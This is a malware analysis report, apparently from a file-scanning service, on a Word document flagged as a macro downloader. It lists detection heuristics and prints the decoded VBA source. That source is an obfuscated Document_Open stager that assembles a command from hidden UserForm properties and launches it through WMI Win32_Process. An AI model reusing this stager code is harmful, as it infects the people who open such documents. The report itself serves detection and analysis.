MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening the document. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates a sophisticated method for executing commands via UserForm properties. ClamAV detection as 'Doc.Downloader.Sagent-9240502-0' strongly suggests its downloader functionality.
Heuristics 7
-
ClamAV: Doc.Downloader.Sagent-9240502-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Sagent-9240502-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3932 bytes |
SHA-256: b3e54d75e96027a45d324915a8c913dfb642fb531718aef4ee2654709acd2285 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "QSTQTgsurdgdiaitqc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
CNCBEvinmkkiba.UOAHCgztokkwhdg
End Sub
Attribute VB_Name = "CNCBEvinmkkiba"
Attribute VB_Base = "0{894C4D12-13A0-4A6C-8A8F-4FCE8251AA18}{4AC1B9D7-EC12-45FD-AD44-CCF53F10D361}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function UOAHCgztokkwhdg()
Dim j1Ì6Î As Integer
j1Ì6Î = 9
Do While j1Ì6Î < 9 + 9
j1Ì6Î = j1Ì6Î + 1: DoEvents
Loop
Dim QaWytUTJ As Integer
QaWytUTJ = Len("nyb6ÜfY")
Dim EMdBhGoOL As Integer
EMdBhGoOL = Len("UXBm")
OZLXJmwzoiyudxda = Chr(CNCBEvinmkkiba.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim AVRUMwK As Object
RVHKRlegidaeu = "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsi3833h4*hh^@njhs72g hus7777bsnm3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsgm3833h4*hh^@njhs72g hus7777bst3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs" + OZLXJmwzoiyudxda + "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs:3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsin3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs33833h4*hh^@njhs72g hus7777bs23833h4*hh^@njhs72g hus7777bs_3833h4*hh^@njhs72g hus7777bs" + CNCBEvinmkkiba.PGNENfczhbsof + "3833h4*hh^@njhs72g hus7777bsro3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsce3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bs"
Dim MoLW As Object
AHQMHcjvszjpjat = CBINTvuhcrdwzipm(RVHKRlegidaeu)
Dim aXw As Integer
aXw = 1
Do While aXw < 1 + 8
aXw = aXw + 9: DoEvents
Loop
Set SYTEEbegtgyscq = CreateObject(AHQMHcjvszjpjat)
Dim O1åA As Integer
O1åA = 6
Do While O1åA < 6 + 6
O1åA = O1åA + 3: DoEvents
Loop
MJRFPillgcyvfth = CNCBEvinmkkiba.VNVJFtsvnnjoerwgc.ControlTipText
Dim BZ1ÎWrm As Boolean
LNBTSscibusqufukf = b3 + (AHQMHcjvszjpjat + OZLXJmwzoiyudxda + CNCBEvinmkkiba.XCZUHafzhcfcx.ControlTipText + MJRFPillgcyvfth)
Dim Lhs8ÝW8ÃZV As Integer
Lhs8ÝW8ÃZV = 4
Do While Lhs8ÝW8ÃZV < 4 + 5
Lhs8ÝW8ÃZV = Lhs8ÝW8ÃZV + 2: DoEvents
Loop
TULANkwdjqor = LNBTSscibusqufukf + CNCBEvinmkkiba.PGNENfczhbsof
Dim P3áOQ As Object
Set ULRVPvnuwozkxe = CDKVEczqyeunwqggvre(TULANkwdjqor)
Dim fYLYIDH As Integer
fYLYIDH = Len("ZQfY")
s = Array(v + "is", SYTEEbegtgyscq. _
Create(XFPLFquuddciqslb, CUQKRaahsxaw, ULRVPvnuwozkxe), i + "rt")
Dim qZNvlj As Double
End Function
Function CDKVEczqyeunwqggvre(WBUERlbmsnjngnx)
Set CDKVEczqyeunwqggvre = CreateObject(WBUERlbmsnjngnx)
Dim oFNsCjHpPN As Double
CDKVEczqyeunwqggvre. _
showwindow = LAMRDrgywgjpiihcawn + STOCTlogovgibnpcv + OIFEFnhuirsfsbmc
Dim w0ÎjMvtMr As Byte
End Function
Function CBINTvuhcrdwzipm(MFGVYpllyrcwbeljpui)
GCUFEsxxldxkh = MFGVYpllyrcwbeljpui
Dim rrv As Integer
rrv = 3
Do While rrv < 3 + 1
rrv = rrv + 4: DoEvents
Loop
XQWBAjgdtbmxkugh = Split _
(GCUFEsxxldxkh, "3833h4*hh^@njhs72g hus7777bs")
Dim uRbu4Äf As Integer
uRbu4Äf = 8
Do While uRbu4Äf < 8 + 6
uRbu4Äf = uRbu4Äf + 2: DoEvents
Loop
TXLJAiwbnziclq = e2 + Join(XQWBAjgdtbmxkugh, w1)
Dim wE8e As Date
CBINTvuhcrdwzipm = TXLJAiwbnziclq
Dim II0Í6àm8È As Variant
End Function
Function XFPLFquuddciqslb()
q = CNCBEvinmkkiba.PGTTYcrdbzxwox.Pages((2 * 5) / 10).Caption
Dim KcJ2ÑZNvlja As Integer
KcJ2ÑZNvlja = 4
Do While KcJ2ÑZNvlja < 4 + 5
KcJ2ÑZNvlja = KcJ2ÑZNvlja + 2: DoEvents
Loop
XFPLFquuddciqslb = CBINTvuhcrdwzipm(q)
Dim WpUViEN As Integer
WpUViEN = 6
Do While WpUViEN < 6 + 4
WpUViEN = WpUViEN + 4: DoEvents
Loop
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.